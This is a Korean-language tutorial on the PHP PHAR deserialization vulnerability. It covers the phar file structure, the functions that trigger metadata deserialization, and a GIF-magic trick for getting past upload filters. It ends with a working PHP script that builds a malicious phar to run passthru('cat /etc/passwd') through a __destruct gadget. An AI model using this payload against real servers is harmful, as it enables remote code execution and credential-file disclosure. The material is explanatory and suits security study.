PHAR Deserialize 취약점

Overview
PHAR Deserialize 취약점은 2018년 BlackHat 에서 Sam Thomas 에 의해 알려진 취약점이다. 이 취약점은 phar://
wrapper 기능을 지원하는 php 서버에 조작된 phar 파일을 전달하여 임의의 악성 코드를 실행할 수 있다.
Serialization, Deserialization
컴퓨터 과학에서 직렬화(serialization)란 데이터 구조체, 오브젝트 상태의 데이터를 다른 시스템 환경에서 저장하고 해석할 수 있도록 바이트스트림 형태로 변환하는 과정을 뜻한다. 반대로 역직렬화(deserialization)은 바이트스트림 상태의 데이터를 데이터 구조체, 오브젝트 상태로 변환하는 과정이다.
역직렬화 취약점은 전송받은 바이트스트림 데이터의 무결성을 충분히 검증하지 않은 채 변환하여 발생한다. 예를 들어 정상적인 경우에는 A
라는 클래스가 전달되어야하나 공격자가 객체 내 데이터를 조작하거나, 전혀 다른 클래스를 전달할 수도 있다. 대부분의 경우 잘못 전달된 데이터를 제대로 처리하지 못해 에러가 발생하겠지만, 잘 이용하면 원격 코드 실행 공격을 수행할 수도 있다.
PHAR(Php Archive)
phar 은 내부에 실행 가능한 PHP 코드, 애플리케이션을 가지는 파일 포맷이다. java 언어에서 사용되는 jar 파일처럼 독립적으로 배포되는 PHP 애플리케이션, 라이브러리로서 사용되나, 악의적으로 작성된 실행코드를 포함하면 악성 행위를 발생시킬 수 있다.
phar 파일은 Stub, Manifest, File Contents, Signature 라는 4개의 구조체로 구성된다.
Stub
Stub는 PHAR 의 가장 앞부분에 존재하며, 임의로 작성한 PHP 코드를 포함할 수 있다.
Stub 의 마지막 명령어에는 반드시 _HALTCOMPILER()
명령어가 포함되어야 한다.
Stub 을 설정하려면 setStub(string $stub) 함수를 호출하면 된다.
참고로 Stub 은 파일 구조 상 가장 앞에 존재하므로, 특정 파일 포맷만 필터링하여 업로드 파일을 받는 서버라면 Stub 에 매직 값을 추가해야 한다. 예를 들어 gif 파일만 업로드할 수 있도록 필터링되어 있다면, Stub 에 gif 파일의 매직 값인 GIF8
를 추가하여 필터링을 우회할 수 있다.
Manifest
Manifest는 아래 테이블과 같은 포맷으로 PHAR 의 메타 데이터를 지정한다.
Size in bytes | Description |
---|---|
4 bytes | Filename length in bytes |
?? | Filename (length specified in previous) |
4 bytes | Un-compressed file size in bytes |
4 bytes | Unix timestamp of file |
4 bytes | Compressed file size in bytes |
4 bytes | CRC32 checksum of un-compressed file contents |
4 bytes | Bit-mapped File-specific flags |
4 bytes | Serialized File Meta-data length (0 for none) |
?? | Serialized File Meta-data, stored in serialize() format |
위 테이블 중 핵심은 마지막 부분이다. 역직렬화 취약점은 phar wrapper 가 phar 파일을 처리하는 과정에서 메타 데이터가 자동으로 역직렬화되는 점을 이용한다. 예를 들어 file_get_contents('phar://malicious.phar')
라는 php 코드가 실행되면 malicious.phar
파일 내 메타 데이터가 역직렬화될 것이다.
Manifest 를 설정하려면 setMetadata(mixed $metadata)
함수를 호출하면 된다.
File Contents
File Contents는 phar 파일에서 사용되는 데이터를 지정한다. 일반적인 phar 파일에서는 중요할 수 있으나, Deserialize 취약점을 이용하는데는 크게 중요치 않다.
addFile(string $path, $name)
, addFromString(string $name, string $contents)
함수를 호출하여 File Contents 를 설정할 수 있다.
Signature
Signature 에는 phar 파일 content 에 대한 해시 값이 저장된다. PHP 에서 phar 파일에 정상적으로 접근하기 위해서는 유효한 해시 값을 가져야 한다. 이 값은 PHP 프로그램을 이용해 phar 파일을 생성하면 자동으로 적절한 값이 설정된다.
취약점 발생 조건
PHP 역직렬화 취약점이 발생하기 위해서는 다음과 같은 조건을 만족해야 한다.
- Serialized 가 발생하는 곳은 PHP 클래스의
__destruct()
,__wakeup()
함수이다. 따라서 서버에서 운영하는 클래스에서 두 함수를 이용해 공격이 가능하도록 코드가 작성되어 있어야 한다. - 공격자가 임의로 작성 phar 파일을 서버에 업로드할 수 있어야 하며, 업로드된 파일은
phar://
wrapper 로 처리되어 취약한 함수에 전달되어야 한다.
취약한 함수의 목록은 다음과 같다.
file() filetime() filectime() fileatime() file_put_contents()
fileinode() file_exists() filegroup() fileowner() file_get_contents()
fopen() fileperms() is_dir() is_readable() is_executable()
is_writable() is_writeable() is_file() is_link() parse_ini_file()
copy() unlink() stat() readfile() filesize()
filemtime() filetype() lstat() mkdir() rename()
rmdir()
Example
취약점이 존재하는 서버에는 앞서 언급한 취약점 발생 조건이 만족되었다고 가정한다.
또한 서버에는 다음과 같은 php 페이지를 운영 중이라 가정한다. 아래 페이지의 VulClass
클래스는 인스턴스가 파괴될 시 call_user_func()
함수가 실행되며 hello()
함수에 hacker
라는 문자열이 인자로 전달되어 실행된다. 공격자는 Deserialization 취약점을 이용해 이 클래스를 이용할 수 있다.
<?php
function hello($str) {
echo "Hello, $str!\n";
}
class VulClass {
public $hello = 'hello';
public $name = 'hacker';
function __destruct() {
call_user_func($this->hello, $this->name);
}
}
?>
아래 코드는 위 클래스의 취약점을 공격하는 phar 파일을 생성하는 php 파일 내용이다. VulClass
클래스의 hello()
함수 대신 서버에서 명령을 실행 후 브라우저에 결과를 출력할 수 있는 passthru()
함수를 실행한다.
<?php
class VulClass {}
$dummy = new VulClass();
$dummy->hello = "passthru"; //hello() 대신 passthru() 실행.
$dummy->name = "cat /etc/passwd"; // 실행하고자하는 payload 명령어 입력.
// phar 파일 생성
$example = new Phar("example.phar");
$example->startBuffering();
// Stub 셋팅
$example->setStub("__HALT_COMPILER();");
// phar 파일에 아무런 내용도 없으면 빌드가 안되니 대충 아무거나 넣음.
$example["file"] = "text";
// setMetadata() 로 악성 Manifest 데이터 셋팅.
$example->setMetadata($dummy);
$example->stopBuffering();
?>
아래 명령어로 위 php 파일(example.php) 를 빌드하면 example.phar 파일이 빌드된다. 빌드된 phar 파일을 서버에 업로드하여 phar://
wrapper 에서 처리하도록 만들면 역직렬화 취약점을 작동시킬 수 있다.
$ php --define phar.readonly=0 example.php